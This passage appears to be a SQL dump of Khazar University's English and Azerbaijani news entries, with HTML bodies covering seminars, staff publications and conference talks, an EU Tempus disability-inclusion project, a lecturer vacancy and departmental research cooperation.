kind will be held in other universities of Azerbaijan,\r\ntoo.&nbsp;</p>'),(3742,2180,'en','“Communication skills” Seminar Held at Khazar University','On May 15, 2016, a seminar entitled “Communication skills” was organized at Khazar University. The seminar intended for students and employees of Khazar University was delivered...','<p>On\r\nMay 15, 2016, a seminar entitled “Communication skills” was organized at Khazar\r\nUniversity. The seminar intended for students and employees of Khazar\r\nUniversity was delivered by Joshgun Kerimov, a leading expert on public speaking\r\nand communication and co-founder of GR8 Club and VitalCV. &nbsp;The presentation was in the form of mutual\r\ndiscussions and was greeted with interest by the students.</p>\r\n<p>The\r\nseminar was held within the framework of the ten-week Employment and Business\r\nSkills Program coordinated by the Department of Political Sciences and International\r\nRelations.&nbsp;</p>'),(3743,2183,'en','Dr. Rasoul Moradi’s Research Work in Elsevier Publication','The results of the recent research in Nano-Technology by Dr. Rasoul Moradi (Coordinator of the Chemical Engineering Department) were published by Elsevier Publication, Journal...','<p>The results of&nbsp;the recent&nbsp;research in Nano-Technology by&nbsp;Dr. Rasoul Moradi&nbsp;(Coordinator of the Chemical Engineering Department)&nbsp;were published by Elsevier Publication,&nbsp;<em>Journal of&nbsp;</em><em>Molecular&nbsp;Liquids</em><em>.&nbsp;</em>The following link will help to get access to the published article:</p><p><a href=\"http://www.sciencedirect.com/science/article/pii/S0167732217304774\" target=\"_blank\">http://www.sciencedirect.com/science/article/pii/S0167732217304774</a></p><p>This scientific paper is about investigating of nanofluid&nbsp;thermal properties. Carbon Nano Tubes (CNTs) and Water are used to prepare nanofluid that is one of the leading edges in nanotechnology. The numerical studies have done to get further information of the CNT/Water nanofluid. The possible application of nanofluids is in enhancing heat transfer efficiencies of the industrial heat exchangers as well as driving fluid in various cooling instruments.</p><p>Dr. Moradi, PhD in Chemical Engineering, joined Khazar University in September 2016 and this article is his 3<sup>rd</sup>&nbsp;publication on behalf of the Khazar University.</p>'),(3744,2183,'az','Dr. Rasoul Moradinin beynəlxalq jurnalda məqaləsi çap olundu','Xəzər Universitetinin Kimya mühəndisliyi departamentinin koordinatoru Dr. Rasoul Muradinin nanotexnologiya ilə bağlı son araşdırmasının nəticələri “Elsevier” nəşriyyat evinin...','<p class=\"xmsonormal\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">Xəzər Universitetinin Kimya mühəndisliyi departamentinin koordinatoru Dr. Rasoul Muradinin nanotexnologiya ilə bağlı son araşdırmasının nəticələri&nbsp;<em>“Elsevier”&nbsp;</em>nəşriyyat evinin&nbsp;<em>“</em><em>Molecular Liquids</em><em>”</em><em>&nbsp;(“Molekulyar mayelər”)&nbsp;</em>jurnalında çap olunmuşdur. Məqalədə nanomeyenin termal<em>&nbsp;</em>xüsusiyyətləri araşdırılır. Nanotexnologiyanın ən müasir sahələrindən olan nanomayeni hazırlamaq üçün karbon nanoborular və sudan istifadə olunur. Karbon nanoborular/ su nanomayesi haqqında daha çox məlumat əldə etmək üçün çoxsaylı araşdırmalar aparılmışdır. Nanaomaye istilik dəyişdiricilərin, eləcə də, müxtəlif soyuducu cihazlarda hərəkət edən mayenin istilikötürmə effektivliyini artırmaq üçün istifadə oluna bilər.</p><p class=\"xmsonormal\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">Qeyd edək ki, kimya mühəndisliyi üzrə fəlsəfə doktoru Rasoul Mouradi 2016-ci ilin sentyabrından Xəzər Universitetində fəaliyyət göstərir və bu, onun Xəzər Universitetinin adından çap olunan üçüncü məqaləsidir.</p><p class=\"xmsonormal\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">Məqaləni aşağıdakı link vasitəsilə oxumaq olar:</p><p class=\"xmsonormal\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://www.sciencedirect.com/science/article/pii/S0167732217304774\" target=\"_blank\">http://www.sciencedirect.com/science/article/pii/S0167732217304774</a>.</p>'),(4482,2658,'az','P&G şirkətinin nümayəndələri tələbələrlə görüşdülər','2017-ci il noyabrın 23-də P&G şirkətinin nümayəndələri Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin tələbələri ilə görüşdülər...','<p>2017-ci il noyabrın 23-də P&amp;G şirkətinin nümayəndələri Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin tələbələri ilə görüşdülər. Görüşdə P&amp;G şirkəti, təcrübə proqramları, iş imkanları və işə seçim mərhələləri haqqında tələbələrə ətraflı məlumat verildi.</p><p>Görüşün sonunda sual-cavab sessiyası keçirildi.</p>'),(3750,2187,'az','Xəzər Universitetinin əməkdaşı beynəlxalq konfransda çıxış etdi','2017-ci il mayın 13-də Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini, Xəzər Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimova Türkiyənin Çanakkale...','<p>2017-ci il mayın 13-də Xəzər Universiteti Humanitar\r\nvə sosial elmlər fakültəsinin dekan müavini, Xəzər Psixoloji Xidmət Mərkəzinin\r\ndirektoru Mələk Kərimova Türkiyənin Çanakkale şəhərində\r\nRating Academia və Kəpəz Bələdiyyəsi tərəfindən Beynəlxalq “Elm, Mədəniyyət və\r\nGözəli Axtarış” adlı konfransda “Sənətkarlar və onların şəxsi psixoloji\r\nxüsusiyyətləri” adlı tezis ilə çıxış etdi. Tədqiqatda incəsənət, incəsənət\r\nxadimlərinin şəxsi keyfiyyətləri, incəsənətin şəxsiyyətə və şəxsi keyfiyyətlərin\r\ndə incəsənət əsərlərində əks olunmasına dair verilən milli nümunələr konfrans\r\niştirakçıları tərəfindən rəğbətlə qarşılandı.</p>\r\n<p>Qeyd edək ki, mayın 11-dən 13-dək Türkiyənin Çanakkale şəhərində Rating Academia və Kəpəz\r\nBələdiyyəsi tərəfindən Beynəlxalq “Elm, Mədəniyyət və Gözəli Axtarış” adlı\r\nkonfrans keçirilirdi. </p>\r\n<p>Sonda məruzəçi Mələk Kərimovaya\r\nsertifikat verildi.</p>'),(3751,2188,'az','Xəzər Universitetinin əməkdaşı Ordu Universitetində çıxış etdi','2017-ci il mayın 11-də Türkiyənin Ordu Universiteti və EAB (Eğitim Araştırmaları Birliği) tərəfindən təşkil edilən 9-cu Beynəlxalq Təhsil Tədqiqatları konfransında Xəzər Universiteti...','<p>2017-ci il mayın 11-də Türkiyənin Ordu Universiteti\r\nvə EAB (Eğitim Araştırmaları Birliği) tərəfindən təşkil edilən 9-cu Beynəlxalq\r\nTəhsil Tədqiqatları konfransında Xəzər Universiteti Humanitar və sosial elmlər\r\nfakültəsinin dekan müavini, Xəzər Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimova\r\n“Azərbaycan universitet tələbələrinin internet asılılığı və psixoloji\r\nsimptomları arasında əlaqə” adlı tədqiqat işi ilə çıxış etdi. Tədqiqat işində\r\nuniversitet tələbələri arasında keçirilmiş və internet asılılığı ilə müxtəlif\r\nalt şkalalar (somatizasiya, obsesiya, depresiya, anksiyetə, fobiya, paranoya,\r\npsixotizm, şəxsiyyətlərarası kimi) arasında əlaqə araşdırılmışdır. Məruzə böyük\r\nmaraq doğurdu və mədəniyyətlərarası tədqiqatların aparılması ilə əlaqədar təkliflər\r\nverildi.</p>\r\n<p>Sonda məruzəçi Mələk\r\nKərimovaya sertifikat və məruzələrin çap edildiyi kitab verildi.</p>\r\n<p>Qeyd edək ki, mayın 11-dən 14-dək Türkiyənin Ordu şəhərində\r\nOrdu Universiteti və EAB (Eğitim Araştırmaları Birliği) tərəfindən təşkil edilən\r\n9-cu Beynəlxalq Təhsil Tədqiqatları konfransında 12 ölkədən 1254 tədqiqatçı\r\niştirak edirdi.&nbsp;</p>'),(3752,2189,'az','İqtisadiyyat və menecment fakültəsinin magistratura proqramları ilə bağlı İqtisad Universitetində görüş keçirildi','2017-ci il mayın 16-da Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin magistratura proqramlarının tanıtımına dair Azərbaycan Dövlət İqtisad Universitetində tələbələrlə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il mayın 16-da Xəzər\r\nUniversitetinin İqtisadiyyat və menecment fakültəsinin magistratura\r\nproqramlarının tanıtımına dair Azərbaycan Dövlət İqtisad Universitetində tələbələrlə\r\ngörüş keçirildi. Görüşdə Xəzər Universitetinin İdarəetmə və tələbə işləri üzrə\r\nprorektoru İsaxan İsaxanlı, İqtisadiyyat və menecment fakültəsinin dekanı\r\nCeyhun Məmmədov və İqtisadiyyat və menecment departamentinin professoru İnqilab\r\nƏhmədov iştirak etdilər. Görüş zamanı Xəzər Universitetinin magistratura\r\nproqramları haqqında ətraflı məlumat verildi, proqramların fərqliliyi və\r\nüstünlüklərindən, həmçinin, son illərdə universitetin əldə etdiyi nailiyyətlərdən\r\ngeniş danışıldı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Sonda tələbələrin\r\nsualları cavablandırıldı.</p>'),(3753,2190,'az','“Əlilliyi olan şəxslərin Azərbaycanın Ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) Tempus layihəsinin son görüşü keçirildi','2017-ci il mayın 15-i və 16-da Xəzər Universitetində “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) Tempus layihəsinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il mayın 15-i və 16-da Xəzər\r\nUniversitetində “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə\r\ninteqrasiyasının təməlinin qoyulması” (ESFIDIP) Tempus layihəsinin son görüşü\r\nkeçirildi. Görüş iki hissədən ibarət idi. Birinci hissədə yalnız layihənin tərəfdaşları\r\n– Xəzər Universiteti, Lodz Universiteti, Makedoniya Universiteti, Qraz\r\nUniversiteti, Lənkəran Dövlət Universiteti, Gəncə Dövlət Universiteti, Sumqayit\r\nDövlət Universiteti, Azərbaycan Dövlət İqtisad Universiteti, Naxçıvan Dövlət\r\nUniversiteti, Əmək və Sosial Problemlər üzrə Elmi Tədqiqat və Tədris Mərkəzi və\r\nƏlil Təşkilatları İttifaqının nümayəndələri iştirak etdilər. Görüş zamanı tərəfdaş\r\nuniversitetlər layihə çərçivəsində gördükləri işlər və əldə etdiklər nəticələr\r\nhaqqında bir-birlərinə hesabat verdilər. Daha sonra layihənin davamlılığı və gələcək\r\nəməkdaşlıq haqqında müzakirələr etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşün ikinci günü Xəzər Univeristetinin “Mərmər”\r\nzalında həyata keçirildi. Görüş zamanı müxtəlif universitetlərin, orta məktəblərin,\r\ntəşkilatların nümayəndələri və tələbələr iştirak etdilər. Görüşü Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı açaraq, gələn qonaqları salamladı və layihənin önəmi haqqında\r\nnitq söylədi. Daha sonra Yunanıstanın Azərbaycandakı səfiri cənab Dimotrios\r\nTsoungasa söz verildi. Azərbaycan Respublikasının Təhsil Nazirliyinin nümayəndəsi\r\nAnar Xələfov əlilliyi olan insanların təhsil almaları üçün Təhsil Nazirliyinin\r\ngördüyü işlərdən danışdı. Əmək və Sosial Problemlər üzrə Elmi Tədqiqat və Tədris\r\nMərkəzinin nümayəndəsi Hüseyn Hümbətov və Əlil Təşkilatları İttifaqının sədri\r\nDavud Rəhimli də təşkilatlarının mövzu ətrafında gördüyü işlərdən danışdılar.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">“Əlilliyi olan şəxslərin Azərbaycanın ali təhsil\r\nmüəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) Tempus layihəsinin\r\nlayihə rəhbəri Rima Məmmədova iştirakçılara layihə haqqında geniş məlumat verdi\r\nvə layihənin həyata keçirildiyi müddət ərzində qarşılaşdıqları çətinliklər və əldə\r\netdikləri uğurlar haqqında danışdı. Lodz Universitetinin və Qraz\r\nUniversitetinin nümayəndələri iştirakçılara öz universitetlərinin təcrübələri və\r\nölkələrində bu sahədə aparılan işlər haqqında geniş məlumat verdilər. Həmçinin,\r\nGəncə Dövlət Universitetinin və Naxçıvan Dövlət Universitetinin nümayəndələri\r\nregionda və universitetlərində bu sahədə görülən işlərdən danışdılar. Tədbirin\r\nsonunda Xəzər Universitetinin və Azərbaycan Dövlət İqtisad Universitetinin əlilliyi\r\nolan tələbələri Nurlanə Cəfərova və Orxan Adıgözəl qarşılaşdıqları çətinliklərə\r\nbaxmayaraq, əldə etdikləri uğurlar haqqında nitq söylədilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Qeyd etmək istərdik ki, “Əlilliyi olan şəxslərin\r\nAzərbaycanın Ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması”\r\n(ESFIDIP) Tempus layihəsi 2013-cü ilin dekabrında başlamış və 31 may 2017-ci\r\nildə sona çatacaqdır. Layihə Avropa Komissiyasının Tempus proqramı çərçivəsində\r\nmaliyələşdirilir və Xəzər Universiteti tərəfindən idarə olunur.</p>'),(4207,2473,'az','Texniki Yardım Missiyası çərçivəsində birgə dərəcə proqramlarının yaradılması ilə bağlı təlim keçiriləcək','2017-ci il oktyabrın 10-u və 11-də Xəzər Universitetində Texniki Yardım Missiyası (Technical Assistance Mission – TAM) çərçivəsində...','<p>2017-ci il oktyabrın 10-u və 11-də Xəzər Universitetində Texniki Yardım Missiyası (Technical Assistance Mission – TAM) çərçivəsində birgə dərəcə proqramlarının yaradılması ilə bağlı təlim keçiriləcək. Birgə dərəcə proqramı üzrə ekspert, Finlandiya Milli Təhsil Agentliyində proqram meneceri olan Annika Sundbäck-Lindroos birgə dərəcə proqramları və yaratdığı imkanlar, regiondan və Avropadan uğurlu nümunələr, inkişaf prosesinin praktiki detalları, bu cür proqramların yaradılması üçün tələb olunan minimum tələblər haqqında məlumat və bu proqramları yaratmaq üçün məsləhətlər verəcək.</p><p>Azərbaycanda beynəlxalq birgə dərəcə proqramlarının yaradılmasında və idarə olunmasında maraqlı olan ali təhsil mütəxəssisləri (mühazirəçilər, administrativ işçilər, beynəlxalq şöbə heyəti, məktəb direktorları, təhsil müşavirləri) təlimdə iştirak etməyə dəvət olunurlar. Xəzər Universiteti əməkdaşlarının da bu təlimlərdə iştirakı vacibdir. Qeyd edək ki, təlimin sonunda sertifikatlar veriləcəkdir.</p><p>Təlimə qatılmaq istəyənlərdən qoşmada göndərilən sorğunu (survey) doldurub 2017-ci il oktyabrın 6-sı iş gününün sonuna qədər İnkişaf Mərkəzinin əməkdaşı Ülkər Bayramovaya (E-mail: <a href=\"mailto:ubayramova@khazar.org\">ubayramova@khazar.org</a>)&nbsp;göndərmələri xahiş olunur.</p><p><em><strong>Qeyd: Təlimin <a href=\"/files/letters/Programme%20Azerbaijan%20joint%20programmes_08.09.2017_AZ.pdf\">ilkin proqramı</a> əlavə olunur. </strong></em> <br></p>'),(4205,2471,'az','Doktorantın növbəti elmi məqaləsi çap edildi','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın...','<p>Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın (doktorant) “Dil, Oxu və öyrənmə maneələri: N.Çomskinin monoqrafiyaları əsasında” adlı elmi məqaləsi Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Azərbaycan Milli Elmlər Akademiyası M.Füzuli adına Əlyazmalar İnstitutunun “Filologiya məsələləri” adlı jurnalının 12-ci sayında çap edilmişdir. Məqalədə N.Çomskinin elm dünyasında rezonansa səbəb olan dilçiliklə bağlı linqvistik fikirləri araşdırılmışdır. Təqdim edilən araşdırmada N.Çomskinin linqvistik dünyasında böyük əks-səda doğuran fikirlərə dair qısa və vacib məlumatlar verilmişdir.&nbsp;</p><p>Məqaləni tam şəkildə <a href=\"/files/letters/Valide_article.PDF\">PDF</a> formatda burada oxumaq olar.</p>'),(4524,2681,'az','Vakansiya: Mexanika Mühəndisliyi departamenti müəllim axtarır','Xəzər Universitetinin Mühəndislik və Tətbiqi Elmlər fakültəsi, Mexanika Mühəndisliyi departamenti 2018-ci ilin yaz semestrində...','<p>Xəzər Universitetinin Mühəndislik və Tətbiqi Elmlər fakültəsi, Mexanika Mühəndisliyi departamenti 2018-ci ilin yaz semestrində əsas fənlərin (<em>Fluid Mechanics II, Materials Science, Solid Works, System Dynamics and Control, Dynamics, Theory of Machines, Machine Vibration</em>) tədrisi üçün vakant yerlərə namizədlər axtarır. Mexanika mühəndisliyi ixtisası üzrə magistr və&nbsp;doktorluq dərəcəsi almış azərbaycanlı&nbsp;şəxslər müraciət edə bilərlər. Mühəndislik və Tətbiqi Elmlər fakültəsində tədris ingilis dilindədir. Maraqlananlar öz CV-lərini Mühəndislik və Tətbiqi Elmlər fakültəsinin akademik işlər üzrə dekan müavini Dr. Fəxrəndə Əlimərdanovaya göndərə bilərlər: <a href=\"mailto:falimardanova@khazar.org\">falimardanova[at]khazar.org</a></p><p><strong><em>Son müraciət tarixi 2018-ci il fevralın&nbsp;15-dir.</em></strong></p>'),(3754,2191,'az','Xəzər Universitetində “Dialekt Festivalı” keçirildi','2017-ci il mayın 17-də Xəzər Universitəsinin “Mərmər” zalında Azərbaycan dili və ədəbiyyatı departamentinin müəllimi, filologiya üzrə fəlsəfə doktoru İlahə Qurbanovanın...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil mayın 17-də Xəzər Universitəsinin “Mərmər” zalında Azərbaycan dili və ədəbiyyatı\r\ndepartamentinin müəllimi, filologiya üzrə fəlsəfə doktoru İlahə Qurbanovanın “\r\nDialektologiyaya giriş” fənni üzrə açıq dərs proqramına daxil olan “Dialektika festivalı”\r\nkeçirildi. Festivalda Şərq, Şimal, Qərb, Cənub, eləcə də, keçid dialekt qrupu\r\nolan Lənkəran qrupu təmsil olunurdu. Müəllim İ.Qurbanovanın giriş sözündən\r\nsonra hər qrupu təmsil edən tələbələr Azərbaycan dili dialekt və şivələrinin\r\nxüsusiyyətlərini əks etdirən məruzə və çıxışlar etdilər, səhnəciklər və video\r\nmateriallar göstərdilər, hər dialekt qrupuna məxsus adərtləri və kulinariya\r\nnümunələrini nümayiş etdirdilər. H.Bəşirovanın aparıcılığı ilə çox maraqlı keçən\r\ntədbirdə Şərq qrupu dialektlərini M.Hüseynova, F.İsgəndərova, S.Mahmudzadə, S.Əliyeva,\r\nÜ.Abışova, A.Qədirova, Lənkəran qrupunu T.İbrahimova, Şimal qrupunu M.Məmmədova,\r\nF.Qaziyeva, N.Babazadə, Qərb qrupunu H.Bəşirli, N.Möhübbətli, G.Həsənova, N.Məstəliyeva,\r\nA.Ömərova, Z.Əliyeva, Cənub qrupunu C.Məmmədov, M.İmanlı, Ü.Cəlalova,\r\nG.Düyamalıyeva təmsil edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tədbirin\r\nsonunda Xəzər Universitəsinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı çıxış edərək, bir neçə maraqlı təklif verdi və tədbirin\r\ntəşkilatçılarına təşəkkür etdi.</p>'),(3755,2192,'az','Xəzər Universitetinin müəllimi “Şərq” qəzetinə müsahibə verdi','2017-ci il mayın 15-də Xəzər Universitetinin dosenti, Azərbaycan dili və ədəbiyyatı departamentinin müdiri Vurğun Əyyubun “Şərq” qəzetinin rəsmi internet səhifəsi olan sherg.az saytında...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil mayın 15-də Xəzər Universitetinin dosenti, Azərbaycan dili və ədəbiyyatı\r\ndepartamentinin müdiri Vurğun Əyyubun “Şərq” qəzetinin rəsmi internet səhifəsi\r\nolan <strong><em>sherg.az</em></strong>\r\nsaytında “Təhsil sisteminə baxış dəyişməlidir” başlıqlı müsahibəsi yayınlanmışdır.\r\nMüsahibədə Azərbaycan təhsilindəki nöqsanlar, ölkə ziyalılarının televiziya\r\nefirlərinə dəvət olunmamaları, cəmiyyətdəki mədəni aşınmalar, gənclərin\r\nkriminala meyllənmə səbəbləri və başqa mövzular ətrafında söhbət açılmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Müsahibəni\r\nbu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.sherg.az/site/id-31114/\">http://www.sherg.az/site/id-31114/</a>.&nbsp;</p>'),(3757,2193,'az','Tədqiqat sahəsində əməkdaşlıq','Tədqiqat sahəsində əməkdaşlıq','<p><strong><span style=\"text-decoration:underline\">Bioloji elmlər</span></strong></p>\r\n<p>Xəzər Universitetinin Bioloji elmlər\r\ndepartamenti və Hüceyrə&nbsp; Patalogiyası üzrə\r\nTədqiqat Mərkəzi İsveçin Uppsala Universitetində Biotibbi mərkəzi ilə əməkdaşlıq\r\nedir. Gələcəkdə universitetlər arasında tədqiqat və müştərək proqramlarla bağlı\r\nlayihələr nəzərdə tutulur.</p>\r\n<p>Xəzər Universiteti Bioloji elmlər\r\ndepartamentinin müdiri və Hüceyrə Patologiyası Tədqiqat Mərkəzinin direktoru\r\nDr. İradə Xəlilova Erasmus+ mobillik qrantı üzrə Fransanın Montpellier\r\nUniversitetində Odontolgiya fakültəsinin Biologiya, səhiyyə və nanotexnologiya\r\ntədqiqat laboratoriyasında (Faculty of Odontology, Research Laboratory of\r\nBiology, Health and Nanoscience) “<strong>Mezenxim\r\nkök hüceyrələrinin osteoblastlara çevrilməsi və diş toxumasının\r\nregenerasiyasında biomaterial ilə birgə istifadə edilməsi</strong>” haqda tədqiqat\r\nişi aparmışdır.</p>\r\n<p><strong><span style=\"text-decoration:underline\">Neft mühəndisliyi</span></strong></p>\r\n<p>Neft mühəndisliyi departamenti hal hazırda\r\n<strong>“Neft kollektor süxurlarının islanma\r\nqabiliyyətinin dəyişməsinin nəzəri və eksperimental tədqiqi və onun\r\nkarbohidrogen hasilatına mümkün təsiri” </strong>adlı tədqiqat layihəsi üzərində\r\nçalışır. Layihə iki il müddətində həyata keçiriləcək. Layihə çərçivəsində Xəzər\r\nUniversiteti &nbsp;AMEA-nın Neft və Qaz\r\nİnstitutu, Azərbaycan Dövlət Neft və Sənaye Universiteti, Bakı Ali Neft Məktəbi\r\nvə Azərbaycan Neft Mühəndisləri İctimai Birliyinin alim və mütəxəssisləri ilə əməkdaşlıq\r\nedir.</p>\r\n<p>Neft\r\nmühəndisliyi departamenti və onun nəzdində olan “EİLİNK” Tədqiqat və və İnkişaf\r\nMərkəzi hal hazırda sənaye şirkətlərinin sifarişləri əsasında bir sıra tədqiqat\r\nlayihələri yerinə yetirir.</p>\r\n<p><strong><span style=\"text-decoration:underline\">Coğrafiya və Ətraf Mühit</span></strong></p>\r\n<p>Xəzər\r\nUniversitetinin Coğrafiya və Ətraf departamenti müxtəlif tədqiqat layihələrində\r\niştirak edir. Təhsil və tədqiqat layihələri aparıcı beynəlxalq və regional\r\nuniversitetlərlə əməkdaşlıq çərçivəsində həyata keçirilir. Departamentin rəhbəri\r\ncoğrafiya elmləri üzrə fəlsəfə doktoru Rövşən Abbasovdur. Departament hazırda\r\naşağıdakı tədqiqat layihələri ilə məşğul olur:</p>\r\n<ul><li>TEEB Scoping Study\r\nfor the Forestry Sector of Azerbaijan (TEEB Azərbaycanda meşə sektorunun tədqiqi)</li><li>National Toxic\r\nAction plan for Azerbaijan (Azərbaycanda Milli Toksik fəaliyyət\r\nplanı)</li><li>Toxic Site\r\nidentification program&nbsp;&nbsp; (Toksik məntəqələrin\r\nmüəyyən edilməsi proqramı)</li><li>Integrating Climate\r\nChange Risks into Water and Flood Management by Vulnerable Mountainous\r\nCommunities in the Greater Caucasus Region. (Böyük Qafqaz regionunda sel və daşqınlarla\r\nbağlı iqlim dəyişikliyi risklərinin inteqrasiyası)</li></ul><p><strong><span style=\"text-decoration:underline\">Təhsil</span></strong></p>\r\n<p>Xəzər Universiteti Təhsil fakültəsi təhsillə\r\nbağlı müxtəlif tədqiqat və fəaliyyətlə məşğul olur və bununla əlaqədar Təhsil\r\nNazirliyi və bəzi özəl təhsil müəssisələri ilə əməkdaşlıq edir.</p>\r\n<p>Departamentin tədqiq\r\netdiyi sahələrə aşağıdakılar daxildir.</p>\r\n<ul><li>Təhsil\r\nİdarəsi</li><li>Müqayisəli\r\nTəhsil</li><li>Tarix və\r\nTəhsil fəlsəfəsi</li><li>Təlimat\r\nvə müəllimlik</li><li>Təhsil\r\nvə Akkreditasiyanın keyfiyyəti</li></ul>'),(3756,2193,'en','Research cooperation','Research cooperation','<p><strong><span style=\"text-decoration:underline\">Biological Sciences&nbsp;</span></strong></p>\r\n<p>Khazar\r\nUniversity Biological Sciences Department and Centre for Cell Pathology\r\nResearch Center collaborates with Biomedical Centre of Uppsala University in\r\nSweden. Research collaboration and opportunities for joint educational programs\r\nbetween the universities have been discussed during meetings.</p>\r\n<p>Dr. Irada Khalilova, Head of the Biology\r\nDepartment and Director of the Cell Pathology Research Center at Khazar\r\nUniversity, performed research on <strong>Mesenchyme\r\nStem Cells becoming Osteoblasts and the Use of Biomaterials along with Dental\r\nTissue Regeneration</strong> in the Faculty of Odontology’s Research Laboratory of Biology,\r\nHealth and Nanoscience at Montpellier University in France as part of an\r\nErasmus + mobility grant.</p>\r\n<p><strong><span style=\"text-decoration:underline\">Petroleum Engineering</span></strong></p>\r\n<p>Petroleum Engineering Department at Khazar\r\nUniversity headed by associate professor Gasham Zeynalov is currently performing\r\na research project on “<strong>Theoretical and\r\nexperimental investigations of wettability alteration and its potential impact\r\non hydrocarbon recovery” </strong>funded by Science Development Fund under the\r\nPresident of the Republic of Azerbaijan. </p>\r\n<p>Thie project has a\r\nduration for 2 years. Petroleum Engineering Department at Khazar University is\r\ncollaborating with the National Academy of Sciences, Baku Higher Oil School, Association\r\nof Petroleum Engineers and Azerbaijan State Oil And Industry University in this\r\nproject.</p>\r\n<p><strong>“EILINK”</strong> Scientific Research and\r\nDevelopment Center in Petroleum Engineering Department at Khazar University\r\nis implementing researches based on\r\nthe projects of industrial\r\ncompanies.</p>\r\n<p><strong><span style=\"text-decoration:underline\">Geography and Environment</span> </strong></p>\r\n<p>Geography and Environment department at\r\nKhazar University is involved in various research projects.&nbsp; Educational and research projects are\r\nconducted alongside of leading international and regional universities. Head of\r\nthe department is Dr. Rovshan Abbasov. The department is currently engaged in\r\nthe following research projects:</p>\r\n<ul><li>TEEB Scoping Study for the Forestry Sector\r\nof Azerbaijan</li><li>&nbsp;National\r\nToxic Action plan for Azerbaijan</li><li>Toxic Site identification program</li><li>Integrating Climate Change Risks into Water\r\nand Flood Management by Vulnerable Mountainous Communities in the Greater\r\nCaucasus Region.</li></ul><p><strong><span style=\"text-decoration:underline\">Education</span></strong></p>\r\n<p>The School of\r\nEducation is engaged in various research and consultation activities in\r\nrelation to education and for this purpose it cooperates with the Ministry of\r\nEducation and with some private educational institutions. </p>\r\n<p>The broad areas of\r\nresearch at the School include, but are not limited to:</p>\r\n<ul><li>Education\r\nAdministration</li><li>Comparative\r\nEducation</li><li>History\r\nand Philosophy of Education</li><li>Instruction\r\nand Teaching</li><li>Quality\r\nof Education and Accreditation</li></ul>'),(3758,2194,'az','Magistratura proqramları','Magistratura proqramları','<a href=\"http://www.khazar.org/files/master/Magistratura%20proqramlar%C4%B1.docx\"><p><strong>Magistratura proqramları</strong></p></a>'),(3759,2194,'en','MA programs','MA programs','<p><a href=\"http://www.khazar.org/files/master/Magistratura%20proqramlar%C4%B1.docx\"><strong>MA programs</strong></a></p>'),(3765,2192,'en','Interview of Khazar`s Instructor for Newspaper “Sherg”','On May 15, 2017, an interview with Vurghun Eyyub, Assocaite Professor, Head of the Department of Azerbaijani Language and Literature, was published on the official website...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On\r\nMay 15, 2017, an interview with Vurghun Eyyub, Assocaite Professor, Head of the\r\nDepartment of Azerbaijani Language and Literature, was published on the\r\nofficial website of the newspaper “Sherg” sherg.az. The interview entitled “\r\nAttitude toward the educational system is to be changed”, covers topics such as\r\nshortcomings in the educational system of Azerbaijan, intellectuals` not being\r\ninvited to the TVs, society \'s cultural erosion, the causes of young people\'s\r\ninclination towards crime and so on.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The\r\nfull version of the interview is available at the following link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a 